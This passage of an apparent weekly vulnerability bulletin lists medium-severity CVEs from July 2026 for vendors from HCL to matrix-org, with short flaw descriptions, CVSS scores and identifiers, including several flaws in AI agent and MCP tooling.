| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable since the application does not have a validation for HOST header and accepts arbitrary hosts when requested in http protocol. When an application doesn't adequately validate or sanitize this header, it can lead to several security risks, including Host header poisoning, server misconfigurations.                                   | 2026-07-17 | 4.3        | <a href="#">CVE-2024-23577</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to attack as the application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain (*-Wildcard).                                                                                                                                                                             | 2026-07-17 | 4.2        | <a href="#">CVE-2024-23578</a> |
| HCLSoftware--DevOps Loop     | HCL DevOps Loop is affected by an Unauthorized Access to Admin Functionality (Forced Browsing) vulnerability. Improper authorization checks may allow unauthorized users to access restricted administrative functionality by directly accessing protected application endpoints.                                                                                            | 2026-07-17 | 4.6        | <a href="#">CVE-2026-21760</a> |
| HCLSoftware--DevOps Loop     | HCL DevOps Loop is affected by a Cross-Origin Resource Sharing (CORS) misconfiguration. Improper CORS configuration may allow unauthorized cross-origin requests, potentially exposing application resources to untrusted domains.                                                                                                                                           | 2026-07-17 | 4.2        | <a href="#">CVE-2026-21761</a> |
| HCLSoftware--DFXServer       | HCL DFXServer is affected by an Unencrypted Communication vulnerability. The application permits users to establish connections over unencrypted channels via                                                                                                                                                                                                                | 2026-07-16 | 6.3        | <a href="#">CVE-2026-35146</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                         | the HTTP protocol, which could allow a remote attacker to intercept network traffic and expose sensitive data transmitted between the user and the application.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| HCLSoftware--HCL Traveler for Microsoft Outlook (HTMO)  | HCL Traveler for Microsoft Outlook (HTMO) is susceptible to a DLL hijacking vulnerability which could allow an attacker to modify or replace the application with malicious content.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-17 | 6.5        | <a href="#">CVE-2026-21770</a> |
| helm--helm                                              | Helm through 4.2.3, fixed in commit ba6c9a2, contains a denial of service vulnerability in the Files.Lines template helper in pkg/engine/files.go that allows attackers to trigger an index out of range panic by including zero-length byte slices in chart files. Attackers can include empty files in Helm charts to cause deterministic render failures across template, install, upgrade, lint, and SDK Engine.Render operations.                                                                                                                                                                                                                                     | 2026-07-17 | 4.3        | <a href="#">CVE-2026-63308</a> |
| hey-api--openapi-ts                                     | Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as \$body_, \$headers_, \$path_, and \$query_ directly to the corresponding slot, allowing \$query___proto__ alongside a legitimate q field to set params.query through params["query"]["__proto__"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.                           | 2026-07-17 | 4.8        | <a href="#">CVE-2026-48819</a> |
| HiEventsDev--Hi.Events                                  | Hi.Events before 1.11.0 contains a missing server-side visibility enforcement vulnerability that allows unauthenticated attackers to purchase hidden tickets by referencing hidden product and price IDs in order creation requests without authorization checks. Attackers can enumerate sequential hidden ticket IDs from visible ones and submit order creation requests referencing those IDs to purchase VIP, invite-only, or discounted tickets intentionally withheld from public sale.                                                                                                                                                                             | 2026-07-14 | 5.3        | <a href="#">CVE-2026-60118</a> |
| HiEventsDev--Hi.Events                                  | Hi.Events before 1.11.0 contains a cross-site scripting vulnerability that allows authenticated attackers with event creation or edit permissions to inject arbitrary HTML and JavaScript by embedding a malicious event title containing the </script> sequence, which is not escaped by JSON.stringify() when embedded in inline script tags. Attackers can craft an event title that breaks out of the script context in the application/Id+json structured data block or server-side rehydrated state, causing the payload to execute in the browser of any user who views the public event page, including unauthenticated visitors and authenticated administrators. | 2026-07-14 | 5.4        | <a href="#">CVE-2026-60119</a> |
| Hitesh Chandwani--reCAPTCHA (v2 & v3) for Asgaros Forum | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hitesh Chandwani reCAPTCHA (v2 & v3) for Asgaros Forum recaptcha-for-asgaros-forum allows DOM-Based XSS.This issue affects reCAPTCHA (v2 & v3) for Asgaros Forum: from n/a through <= 1.1.0.                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57365</a> |
| Huawei--Harmony OS                                      | DoS vulnerability in the vibration service. Impact: Successful exploitation of this vulnerability may affect availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-15 | 6.5        | <a href="#">CVE-2026-58559</a> |
| Huawei--Harmony OS                                      | Permission control vulnerability in the Bluetooth module. Impact: Successful exploitation of this vulnerability may affect availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-15 | 5.1        | <a href="#">CVE-2026-58556</a> |
| Huawei--HarmonyOS                                       | Permission control vulnerability in the Settings module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-15 | 6.6        | <a href="#">CVE-2026-58554</a> |
| Huawei--HarmonyOS                                       | Permission bypass vulnerability in the card module. Impact: Successful exploitation of this vulnerability may affect availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-15 | 6.6        | <a href="#">CVE-2026-58555</a> |
| Huawei--HarmonyOS                                       | Out-of-bounds read vulnerability in the image codec module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-15 | 5.1        | <a href="#">CVE-2026-58551</a> |
| Huawei--HarmonyOS                                       | Out-of-bounds read vulnerability in the image codec module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-15 | 5.1        | <a href="#">CVE-2026-58552</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Huawei--HarmonyOS                                                 | Out-of-bounds read vulnerability in the image codec module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-15 | 4          | <a href="#">CVE-2026-58549</a> |
| Huawei--HarmonyOS                                                 | Out-of-bounds read vulnerability in the image codec module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-15 | 4          | <a href="#">CVE-2026-58550</a> |
| Huawei--HarmonyOS                                                 | Out-of-bounds read vulnerability in the image codec module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-15 | 4          | <a href="#">CVE-2026-58553</a> |
| Huawei--HarmonyOS                                                 | Design defect vulnerability in Expedition mode. Impact: Successful exploitation of this vulnerability may affect availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-15 | 4.8        | <a href="#">CVE-2026-58557</a> |
| hubspotdev--HubSpot All-In-One Marketing Forms, Popups, Live Chat | The HubSpot All-In-One Marketing - Forms, Popups, Live Chat plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 11.3.62 via the wp_localize_script() / window.leadinConfig JavaScript object. This makes it possible for authenticated attackers, with contributor-level access and above, to extract the site's plaintext HubSpot OAuth refresh token exposed via the window.leadinConfig JavaScript object, which can then be used to access or modify data in the connected HubSpot tenant. Although the refresh token is stored at rest with AES-256-CTR encryption, decryption occurs server-side before the plaintext value is passed to wp_localize_script(), rendering the at-rest encryption ineffective against this exposure path. | 2026-07-17 | 4.3        | <a href="#">CVE-2026-9656</a>  |
| IBM--Cognos Analytics                                             | IBM Cognos Analytics 12.1.3 GA Version with build number through 12.1.3-2606251736 could allow an attacker to obtain incorrect report summary results or cause report-processing failures due to a race condition in the Agentic AI assistant's concurrent request-handling logic when multiple authenticated users submit report-related tasks simultaneously.                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-17 | 5.4        | <a href="#">CVE-2026-15995</a> |
| IBM--Db2                                                          | IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 is vulnerable to a trap when compiling a specially crafted statements containing subqueries could lead to a denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-17 | 5.5        | <a href="#">CVE-2026-7771</a>  |
| IBM--Db2 Genius Hub                                               | IBM Db2 Genius Hub 1.1, 1.1.1, 1.1.2 and IBM Agentics 1.0 could allow an attacker to execute arbitrary code or obtain sensitive information due to the use of dangerous functions without sufficient restrictions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-17 | 4.3        | <a href="#">CVE-2026-14501</a> |
| IBM--Engineering AI Hub                                           | IBM Engineering AI Hub 1.0.0, 1.1.0, and 1.2.0 could allow a remote attacker to execute arbitrary script code due to improper neutralization of input during web page generation.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-17 | 5.4        | <a href="#">CVE-2026-15069</a> |
| IBM--Engineering AI Hub                                           | IBM Engineering AI Hub 1.0.0, 1.1.0, and 1.2.0 could allow a remote attacker to redirect users to malicious websites due to improper validation of user-supplied URLs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-17 | 4.3        | <a href="#">CVE-2026-15093</a> |
| IBM--Engineering Lifecycle Management                             | IBM Engineering Lifecycle Management 7.0.3 ( Interim Fix 001 through ) Interim Fix 021, 7.1.0 ( Interim Fix 001 through ) Interim Fix 009, and 7.2.0 and 7.2.0 Interim Fix 001 DOORS could allow a remote attacker to cause a denial of service due to improper handling of XML entity expansion.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-17 | 5.3        | <a href="#">CVE-2026-14979</a> |
| IBM--i                                                            | IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote attacker to send a specifically crafted message and downgrade the Transport Layer Security (TLS) protocol to a version disabled in the server configuration.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-17 | 5.9        | <a href="#">CVE-2026-4942</a>  |
| IBM--Verify Identity Access                                       | IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 and IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 could allow an attacker with read-only privileges to make unauthorized modifications and deployments outside of their assigned permissions.                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-17 | 6.5        | <a href="#">CVE-2026-4938</a>  |

## Medium Vulnerabilities

| Primary Vendor -- Product                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| IBM--Verify Identity Access                               | IBM Security Verify could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.                                                                                                                                                                                                                                                                                                           | 2026-07-17 | 5.3        | <a href="#">CVE-2026-8861</a>  |
| inc2734--Smart Custom Fields                              | The Smart Custom Fields plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.0.7. This is due to insufficient input sanitization and output escaping of uploaded image attachment titles. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability was partially patched in 5.0.7.                                     | 2026-07-17 | 6.4        | <a href="#">CVE-2026-2594</a>  |
| itsourcecode--Courier Management System                   | A flaw has been found in itsourcecode Courier Management System up to 1.0. Affected by this vulnerability is an unknown functionality of the file /index.php. Executing a manipulation of the argument page can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been published and may be used.                                                                                                                                                                                           | 2026-07-19 | 4.3        | <a href="#">CVE-2026-16229</a> |
| itsourcecode--Electronic Judging System                   | A vulnerability was determined in itsourcecode Electronic Judging System 1.0. Impacted is an unknown function of the file /intrams/admin/add_judges.php. This manipulation of the argument fname causes sql injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized.                                                                                                                                                                                                             | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15672</a> |
| itsourcecode--Hospital Management System                  | A vulnerability was identified in itsourcecode Hospital Management System 1.0. This affects an unknown part of the file /patviewprescription.php. The manipulation of the argument delid leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.                                                                                                                                                                                                                  | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15536</a> |
| itsourcecode--Hospital Management System                  | A vulnerability was detected in itsourcecode Hospital Management System 1.0. Affected is an unknown function of the file /prescriptionorderdetail.php. The manipulation of the argument delid results in sql injection. The attack can be launched remotely. The exploit is now public and may be used.                                                                                                                                                                                                                               | 2026-07-17 | 6.3        | <a href="#">CVE-2026-16009</a> |
| itsourcecode--Hospital Management System                  | A weakness has been identified in itsourcecode Hospital Management System 1.0. This affects an unknown function of the file /prescriptionrecord.php. This manipulation of the argument delid causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.                                                                                                                                                                                   | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16131</a> |
| ivanti--Xtraction                                         | An open redirect in Ivanti Xtraction before version 2026.2.1 allows a remote unauthenticated attacker to redirect users to arbitrary external URLs.                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-14 | 4          | <a href="#">CVE-2026-14902</a> |
| JanssenProject--jans                                      | The Janssen Project is an open-source identity and access management (IAM) platform. Prior to 2.0.0, jans-auth-server accepts unsigned JWE request objects because JwtAuthorizationRequest skips inner signature validation when jwe.getSignedJWTPayload() returns null, and AuthzRequestService.processRequestObject() does not reject the unrecognized RSA-OAEP algorithm when forceSignedRequestObject=true. This issue is fixed in version 2.0.0.                                                                                 | 2026-07-16 | 5.3        | <a href="#">CVE-2026-45795</a> |
| jgwhite33--WP TripAdvisor Review Slider                   | The WP TripAdvisor Review Slider plugin for WordPress is vulnerable to generic SQL Injection via the 'filtersource' parameter in all versions up to, and including, 14.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. | 2026-07-16 | 4.9        | <a href="#">CVE-2026-15651</a> |
| Jose Vega--WooCommerce Bulk Edit Products WP Sheet Editor | Missing Authorization vulnerability in Jose Vega WooCommerce Bulk Edit Products - WP Sheet Editor woo-bulk-edit-products allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WooCommerce Bulk Edit Products - WP Sheet Editor: from n/a through <= 1.8.21.                                                                                                                                                                                                                                     | 2026-07-13 | 4.9        | <a href="#">CVE-2026-61952</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| jxxghp--MoviePilot                              | A vulnerability was identified in jxxghp MoviePilot up to 2.13.5. The affected element is an unknown function of the file /jxxghp/MoviePilot of the component Application API. The manipulation leads to improper authorization. Remote exploitation of the attack is possible. The identifier of the patch is dc2b6910a423b3bfadefaa303e1ba75cfb33900. Applying a patch is the recommended action to fix this issue.                                                                                                                                                                                                                                                                   | 2026-07-19 | 4.3        | <a href="#">CVE-2026-16224</a> |
| Kerlink--Kerlink Wirnet iStation                | An issue in Kerlink Kerlink Wirnet iStation 868 KerOS v.4.3.3_20200803132042 allows a remote attacker to obtain sensitive information via the community string component.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-16 | 5.7        | <a href="#">CVE-2024-32387</a> |
| Kerlink--Kerlink Wirnet iStation                | An issue in Kerlink Kerlink Wirnet iStation 868 KerOS v.4.3.3_20200803132042 allows a remote attacker to obtain sensitive information via a boardID and revisionID components                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-16 | 4.3        | <a href="#">CVE-2024-32385</a> |
| kevp75--The Cache Purger                        | The The Cache Purger plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.3.20. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently truncate the plugin's cache-purge audit log (wp-content/purge.log), destroying the entire cache-purge audit history. The tcp_log_purge nonce is rendered in the admin bar on frontend pages accessible to all authenticated users including subscribers, meaning any authenticated user possesses the nonce required to trigger the deletion. | 2026-07-16 | 4.3        | <a href="#">CVE-2026-15350</a> |
| kLOsk--adloop                                   | A vulnerability was detected in kLOsk adloop up to 0.9.0. This vulnerability affects the function _validate_urls of the file src/adloop/ads/write.py. Performing a manipulation of the argument final_url results in server-side request forgery. The attack may be initiated remotely. The exploit is now public and may be used. Upgrading to version 0.10.0 is able to resolve this issue. The patch is named 217399723e3a2fb39389e5355d49ed80aaf9ea7c. Upgrading the affected component is advised.                                                                                                                                                                                 | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15525</a> |
| knadh--listmonk                                 | listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk's GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.                                                                                                                               | 2026-07-15 | 5.5        | <a href="#">CVE-2026-62361</a> |
| knitpay--Razorpay Payment Links for WooCommerce | Missing Authorization vulnerability in knitpay Razorpay Payment Links for WooCommerce rzp-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Razorpay Payment Links for WooCommerce: from n/a through <= 2.1.4.                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57424</a> |
| kodezen--Academy LMS                            | The Academy LMS - WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.8.0 via the 'save_lesson_note', 'get_lesson_note', and 'complete_lesson_video' AJAX handlers due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read, overwrite, or delete the private lesson notes of any other user (including administrators), and to falsify lesson-completion progress for arbitrary users.                                                                                  | 2026-07-14 | 4.3        | <a href="#">CVE-2026-9341</a>  |
| kofrasa--mingo                                  | A vulnerability was determined in kofrasa mingo up to 7.2.1. This impacts the function update/updateOne/updateMany of the component Update API. Executing a manipulation of the argument Set can lead to improperly controlled modification of object prototype attributes. The attack may be launched remotely. Upgrading to version 7.2.2 will fix this issue. This patch is called                                                                                                                                                                                                                                                                                                   | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15698</a> |



# Medium Vulnerabilities

| Primary Vendor -- Product       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                 | fadc398251792c2ba441cbc539f359fc7943c0c2. It is recommended to upgrade the affected component.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| labring--FastGPT                | FastGPT is a knowledge-based AI application platform. From 4.14.17 until 4.15.0-beta5, an authenticated FastGPT user can save a workflow node that points to another user's private HTTP toolset by using a crafted saved tool id such as http-<br><victim_toolset_app_id>/<tool_name>. The normal toolset routes deny access, but the workflow save and runtime path did not apply the same authorization check to the referenced toolset, allowing /api/v2/chat/completions to resolve the saved reference and execute the victim-owned HTTP tool. This issue is fixed in version 4.15.0-beta5.                                                                | 2026-07-15 | 5.9        | <a href="#">CVE-2026-61643</a> |
| Lenovo--Smart Connect           | During an internal security assessment, a potential improper access control vulnerability was discovered in Lenovo Smart Connect for Windows that could allow a local authenticated user to access files owned by a different user on the same system.                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-16 | 5.5        | <a href="#">CVE-2026-6511</a>  |
| Lenovo--Yoga Pro 7 15IPH11 BIOS | A potential out-of-bounds write vulnerability could allow a local privileged attacker to modify power management settings in System Management Mode.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-16 | 6          | <a href="#">CVE-2026-10587</a> |
| Lenovo--Yoga Pro 7 15IPH11 BIOS | A potential out of bounds write vulnerability could allow a local privileged attacker to execute code in System Management Mode.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-16 | 6          | <a href="#">CVE-2026-10589</a> |
| Lenovo--Yoga Pro 7 15IPH11 BIOS | A potential vulnerability could allow a local privileged attacker to disclose the address of protected System Management Mode memory.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-16 | 4.4        | <a href="#">CVE-2026-10588</a> |
| Lenovo--Yoga Pro 7 15IPH11 BIOS | A potential missing authentication vulnerability could allow a local privileged attacker to use WMI commands to arbitrarily trigger a System Management Interrupt handler.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-16 | 4.4        | <a href="#">CVE-2026-10590</a> |
| lifthoff-sr--CIPster            | A vulnerability has been found in liftoff-sr CIPster up to 632336d414ef708a542377c1aa8d6fdb7c70a760. Affected by this issue is the function CipAppPath::deserialize_symbolic of the file source/src/cip/cipepath.cc. Such manipulation leads to out-of-bounds read. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The name of the patch is 886a4d090e1c5b0475f0b1c2fe0606a8f0d6a519. A patch should be applied to remediate this issue. | 2026-07-17 | 5.3        | <a href="#">CVE-2026-16013</a> |
| LiuMengxuan04--MiniCode         | A flaw has been found in LiuMengxuan04 MiniCode 0.1.0. Affected by this vulnerability is the function child_process.spawn of the file mcp.ts. Executing a manipulation can lead to command injection. The attack can be launched remotely. The attack requires a high level of complexity. The exploitation appears to be difficult. The exploit has been published and may be used. The pull request to fix this issue awaits acceptance.                                                                                                                                                                                                                       | 2026-07-18 | 5          | <a href="#">CVE-2026-16133</a> |
| louisho5--picobot               | A weakness has been identified in louisho5 picobot up to 0.2.0. Impacted is the function CreateSkill/GetSkill of the file internal/agent/tools/filesystem.go of the component Workspace Handler. Executing a manipulation can lead to link following. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                            | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15629</a> |
| louisho5--picobot               | A vulnerability has been found in louisho5 picobot up to 0.2.0. This vulnerability affects the function WebTool.Execute of the file internal/agent/tools/web.go of the component web Tool. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                       | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15668</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| louisho5--picobot                          | A vulnerability was found in louisho5 picobot up to 0.2.0. This issue affects the function ExecTool.Execute of the file internal/agent/tools/exec.go of the component exec Tool. The manipulation results in os command injection. The attack requires a local approach. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                       | 2026-07-14 | 5.3        | <a href="#">CVE-2026-15669</a> |
| MacCMS Pro--MacCMS Pro                     | A vulnerability was detected in MacCMS Pro up to 2022.1000.3005. Impacted is the function step5 of the file application/install/controller/Index.php of the component Installation Module. The manipulation results in authorization bypass. The attack may be launched remotely. The attack requires a high level of complexity. The exploitability is considered difficult. The exploit is now public and may be used. Upgrading to version 2022.1000.3025 is recommended to address this issue. Upgrading the affected component is recommended. | 2026-07-13 | 5.6        | <a href="#">CVE-2026-15516</a> |
| magepeopleteam--Booking and Rental Manager | Missing Authorization vulnerability in magepeopleteam Booking and Rental Manager booking-and-rental-manager-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Booking and Rental Manager: from n/a through <= 2.6.9.                                                                                                                                                                                                                                                                       | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57404</a> |
| magepeopleteam--Car Rental Manager         | Missing Authorization vulnerability in magepeopleteam Car Rental Manager car-rental-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Car Rental Manager: from n/a through <= 1.3.7.                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 5.3        | <a href="#">CVE-2026-61985</a> |
| makafeli--n8n-workflow-builder             | A vulnerability was identified in makafeli n8n-workflow-builder up to 0.11.0. Affected is an unknown function of the file build/server.cjs of the component update_node_from_file. The manipulation of the argument filePath leads to path traversal. An attack has to be approached locally. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                 | 2026-07-13 | 5.3        | <a href="#">CVE-2026-15521</a> |
| mastergo-design--mastergo-magic-mcp        | A weakness has been identified in mastergo-design mastergo-magic-mcp up to 0.2.0. Impacted is the function z.string of the file src/tools/get-component-link.ts of the component mcp__getComponentLink. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                            | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15750</a> |
| mastergo-design--mastergo-magic-mcp        | A security flaw has been discovered in mastergo-design mastergo-magic-mcp up to 0.2.0. This issue affects the function execute of the file src/tools/get-c2d.ts of the component mcp__C2d. Performing a manipulation of the argument filePath results in path traversal. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                            | 2026-07-14 | 5.3        | <a href="#">CVE-2026-15749</a> |
| mastergo-design--mastergo-magic-mcp        | A security vulnerability has been detected in mastergo-design mastergo-magic-mcp up to 0.2.0. The affected element is the function execute of the file mastergo/component-workflow.md of the component mcp__getComponentGenerator. The manipulation of the argument rootPath leads to path traversal. An attack has to be approached locally. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                             | 2026-07-14 | 5.3        | <a href="#">CVE-2026-15751</a> |
| matrix-org--dendrite                       | Dendrite through 0.13.8 contains an improper authorization vulnerability in the Matrix Client-Server API that allows any authenticated local user to delete third-party identifier bindings belonging to other users by submitting an arbitrary address and medium to the account deletion endpoint without ownership verification. Attackers can exploit the unverified Forget3PID handler to remove a victim's email or MSISDN binding and subsequently rebind the address through an identity server to hijack the victim's password reset flow. | 2026-07-17 | 6.5        | <a href="#">CVE-2026-63095</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| matrix-org--dendrite      | Dendrite through 0.13.8 contains a server-side request forgery vulnerability that allows unauthenticated attackers to cause the server to open outbound TLS connections to arbitrary hosts and ports by supplying an unvalidated serverName parameter to the legacy media download endpoint. Attackers can exploit distinguishable error response classes and leaked internal IP addresses in error messages to perform blind port scanning and enumerate internal network topology.                                                                                              | 2026-07-17 | 5.8        | <a href="#">CVE-2026-63096</a> |
| matrix-org--dendrite      | Dendrite through 0.13.8 contains an improper access control vulnerability in the syncapi /context endpoint (syncapi/routing/context.go) that allows authenticated local users to access post-leave room state events by exploiting a flawed membership check that evaluates only the RoomExists field while ignoring IsInRoom, HasBeenInRoom, and Membership fields. Attackers who have left a room can call the rooms context API endpoint for a previously permitted event and receive unfiltered current room state that the /messages and /sync endpoints correctly withhold. | 2026-07-17 | 4.3        | <a href="#">CVE-2026-63097</a> |
